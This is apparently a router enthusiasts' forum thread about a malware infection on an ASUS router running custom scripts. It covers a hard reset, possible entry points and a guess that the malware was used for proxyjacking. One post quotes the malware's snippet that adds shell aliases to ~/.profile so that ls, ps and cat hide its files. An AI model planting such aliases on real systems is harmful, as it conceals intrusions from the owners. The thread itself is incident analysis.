Where did you get this log file from? If you did the hard reset I suggested in post #2 it should have been wiped out along with any traces of the malware. If you backed up and restored your jffs partition that would have defeated the purpose of the hard reset.

I saved the log and a few other file contents in jffs before I wiped. I just wasn't really sure if it would provide any real details. @thelonelycoder is the mastermind on me providing the details from it. I am surprised he is the first person to say something. The fact that I did a hard reset and complete manual reconfigure is the only reason I can confirm to you today that the malware was wiped.

I literally had to manually copy any of custom jffs script contents because all the permissions in JFFS were messed up. Making it completely unfeasible for me to tar and restore by excluding the contents of the malware "/jffs/updater".

Code: 
if cat ~/.profile | grep "alias ls='f()"
then
    echo ""
else
    echo "alias ls='f(){ ls \"\$@\" | grep -v updateservice | grep -v updater | grep -v .profile; unset -f f; }; f'" >> ~/.profile
    echo "alias ps='f(){ ps \"\$@\" | grep -v updateservice | grep -v updater; unset -f f; }; f'" >> ~/.profile
    echo "alias cat='f(){ cat \"\$@\" | grep -v updater | grep -v updateservice; unset -f f; }; f'" >> ~/.profile
fi

This line of code must have literally done something destructive.

The scripts I had installed are listed in the signature except @Viktor Jaep script VPNMON-R2 which I have not used in a few months since I canceled my VPN services. No ports were open. Remote access disabled. AiProtect was turned on, I forgot to save its history before nuking the router. VPN services have been turned off for the last three months. Script had a time stamp of May 2, 2023.

WAN access to both ssh and https were disabled, and you aren't using the ASUS router app (which apparently enables WAN access without indicating it in the router settings)? UPNP disabled?

UPNP "Secure" was enabled, Wan access completely disabled.

I had skynet installed using skynets default lists. Diversion lite installed using the large blocklist. I just placed an order online for a new SSD. Should arrive tomorrow. I will manually reinstall the scripts in my signature one by one.

I don't think so. That code would only affect a terminal session. It hides the updater, updateservice and .profile output from ls, ps and cat.

If you still have a copy of the /jffs/asd.log file you might see something like this, if the malware even made it that far.
Code: 
1685259650[remove_file]Delete harmful file,/tmp/updateservice
1685259650[blockfile] /tmp/updateservice is binary.

Looking at the nvram variables it modifies a bit closer, some of them were removed from asuswrt firmware versions after 380.x. So my guess is that this is a modified version of some old malware that's been repurposed to monetize the theft of your bandwidth.

I had skynet installed using skynets default lists. Diversion lite installed using the large blocklist. I just placed an order online for a new SSD. Should arrive tomorrow. I will manually reinstall the scripts in my signature one by one.

You mentioned having a VPN at some point, so that is one possibility. VPN bypasses pretty much all security controls and relies on how you configure the VPN client's permissions. But could just have easily been an infected device on your network, potentially exploiting UPNP or perhaps a weak password on your router.

If you want to look for this particular one you can look for the files or log entries that have been posted. If you want to look for any malware in general you have to look through logs, running processes, active connections sourcing from the router, etc.
 
Any idea what this is?

Those messages are unrelated to this thread.
 
OK, Thanks.

The "custom script running" had me concerned as I have not entered any custom scripts, thought it might be malware.

I saw it using htop when the script was running, and I was able to access it manually using winscp directly to /jffs/* directory. I couldn't see it in ssh as @ColinTaylor pointed out it highjacks the ./profile so that file appears invisible using "ls" per terminal session. I also saw it when using the cru -l command to investigate the crontab.

We call this Proxyjacking. This is well known attack. This is not Malware but Exploit. It's not a new. The only difference is codes(little bit different). There is a funny thing. If I talk about these kinds of attacks at snbforum some people don't and didn't believe it. Some of them even say it doesn't exist. Don't forget you don't even know you are compromised with this attack even if you use Skynet or something else. Some attacks can evade those firewall scripts. Some codes can be generated with ChatGPT something.

If you are targeted the attacker may attack you again and again even if you change a router or reset firmware unless you change the IP Address with different range.

Do you think routers on John's fork could be impacted?
